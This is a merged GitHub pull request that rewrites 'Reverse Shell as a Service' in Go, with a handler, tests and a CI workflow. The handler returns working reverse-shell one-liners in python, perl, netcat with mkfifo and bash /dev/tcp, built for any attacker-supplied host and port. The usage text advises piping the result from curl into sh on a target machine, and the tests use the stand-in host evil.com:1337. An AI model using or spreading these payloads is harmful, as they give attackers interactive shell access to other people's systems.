Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions .github/workflows/test.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
name: Test

on: [push, pull_request]

jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version-file: go.mod
- run: go test -v ./...
73 changes: 4 additions & 69 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,73 +1,8 @@
## Node

# Logs
logs
*.log
npm-debug.log*

# Runtime data
pids
*.pid
*.seed
*.pid.lock

# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov

# Coverage directory used by tools like istanbul
coverage

# nyc test coverage
.nyc_output

# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
.grunt

# node-waf configuration
.lock-wscript

# Compiled binary addons (http://nodejs.org/api/addons.html)
build/Release

# Dependency directories
node_modules
jspm_packages

# Optional npm cache directory
.npm

# Optional eslint cache
.eslintcache

# Optional REPL history
.node_repl_history

## OS X
# Binary
reverse-shell

# OS X
*.DS_Store
.AppleDouble
.LSOverride

# Icon must end with two \r
Icon


# Thumbnails
._*

# Files that might appear in the root of a volume
.DocumentRevisions-V100
.fseventsd
.Spotlight-V100
.TemporaryItems
.Trashes
.VolumeIcon.icns
.com.apple.timemachine.donotpresent

# Directories potentially created on remote AFP share
.AppleDB
.AppleDesktop
Network Trash Folder
Temporary Items
.apdisk
# Vercel
.vercel
8 changes: 0 additions & 8 deletions .travis.yml

This file was deleted.

56 changes: 56 additions & 0 deletions api/index.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
package handler

import (
"fmt"
"net/http"
"strings"
)

const usage = `# Reverse Shell as a Service
# https://github.com/lukechilds/reverse-shell
#
# 1. On your machine:
# nc -l 1337
#
# 2. On the target machine:
# curl https://reverse-shell.sh/yourip:1337 | sh
#
# 3. Don't be a dick`

type payload struct {
cmd string
code string
}

func ReverseShell(address string) string {
parts := strings.SplitN(address, ":", 2)
if len(parts) != 2 || parts[0] == "" || parts[1] == "" {
return usage
}

host := parts[0]
port := parts[1]

payloads := []payload{
{"python", fmt.Sprintf(`python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("%s",%s)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'`, host, port)},
{"perl", fmt.Sprintf(`perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`, host, port)},
{"nc", fmt.Sprintf(`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f`, host, port)},
{"sh", fmt.Sprintf(`/bin/sh -i >& /dev/tcp/%s/%s 0>&1`, host, port)},
}

script := usage
for _, p := range payloads {
script += fmt.Sprintf("\n\nif command -v %s > /dev/null 2>&1; then\n\t%s\n\texit;\nfi", p.cmd, p.code)
}

return script
}

func Handler(w http.ResponseWriter, r *http.Request) {
address := strings.TrimPrefix(r.URL.Path, "/")
oneMonth := 60 * 60 * 24 * 30

w.Header().Set("Content-Type", "text/plain")
w.Header().Set("Cache-Control", fmt.Sprintf("s-maxage=%d", oneMonth)) // Cache at edge
fmt.Fprint(w, ReverseShell(address))
}
51 changes: 0 additions & 51 deletions api/index.js

This file was deleted.

76 changes: 76 additions & 0 deletions api/index_test.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
package handler

import (
"net/http"
"net/http/httptest"
"strings"
"testing"
)

func TestReverseShellReturnsShellCode(t *testing.T) {
result := ReverseShell("evil.com:1337")
if !strings.Contains(result, `("evil.com",1337)`) {
t.Error("expected shell code to contain host and port")
}
}

func TestReverseShellContainsAllPayloads(t *testing.T) {
result := ReverseShell("evil.com:1337")
for _, cmd := range []string{"python", "perl", "nc", "sh"} {
if !strings.Contains(result, "if command -v "+cmd) {
t.Errorf("expected payload for %s", cmd)
}
}
}

func TestReverseShellReturnsUsageWithoutAddress(t *testing.T) {
result := ReverseShell("")
if !strings.HasPrefix(result, "# Reverse Shell as a Service") {
t.Error("expected usage text")
}
}

func TestReverseShellReturnsUsageWithoutPort(t *testing.T) {
result := ReverseShell("evil.com")
if !strings.HasPrefix(result, "# Reverse Shell as a Service") {
t.Error("expected usage text")
}
}

func TestHandlerSetsHeaders(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/evil.com:1337", nil)
rec := httptest.NewRecorder()
Handler(rec, req)

if rec.Code != http.StatusOK {
t.Errorf("expected status 200, got %d", rec.Code)
}
if ct := rec.Header().Get("Content-Type"); ct != "text/plain" {
t.Errorf("expected text/plain, got %s", ct)
}
if cc := rec.Header().Get("Cache-Control"); cc != "s-maxage=2592000" {
t.Errorf("expected s-maxage=2592000, got %s", cc)
}
}

func TestHandlerReturnsShellScript(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/evil.com:1337", nil)
rec := httptest.NewRecorder()
Handler(rec, req)

body := rec.Body.String()
if !strings.Contains(body, `("evil.com",1337)`) {
t.Error("expected response body to contain shell code")
}
}

func TestHandlerReturnsUsageForRoot(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()
Handler(rec, req)

body := rec.Body.String()
if !strings.HasPrefix(body, "# Reverse Shell as a Service") {
t.Error("expected usage text")
}
}
3 changes: 3 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
module github.com/lukechilds/reverse-shell

go 1.25.7
23 changes: 23 additions & 0 deletions main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
package main

import (
"fmt"
"net/http"
"os"

handler "github.com/lukechilds/reverse-shell/api"
)

func main() {
port := os.Getenv("PORT")
if port == "" {
port = "3000"
}

http.HandleFunc("/", handler.Handler)
fmt.Printf("Listening on :%s\n", port)
if err := http.ListenAndServe(":"+port, nil); err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
}
Loading
Loading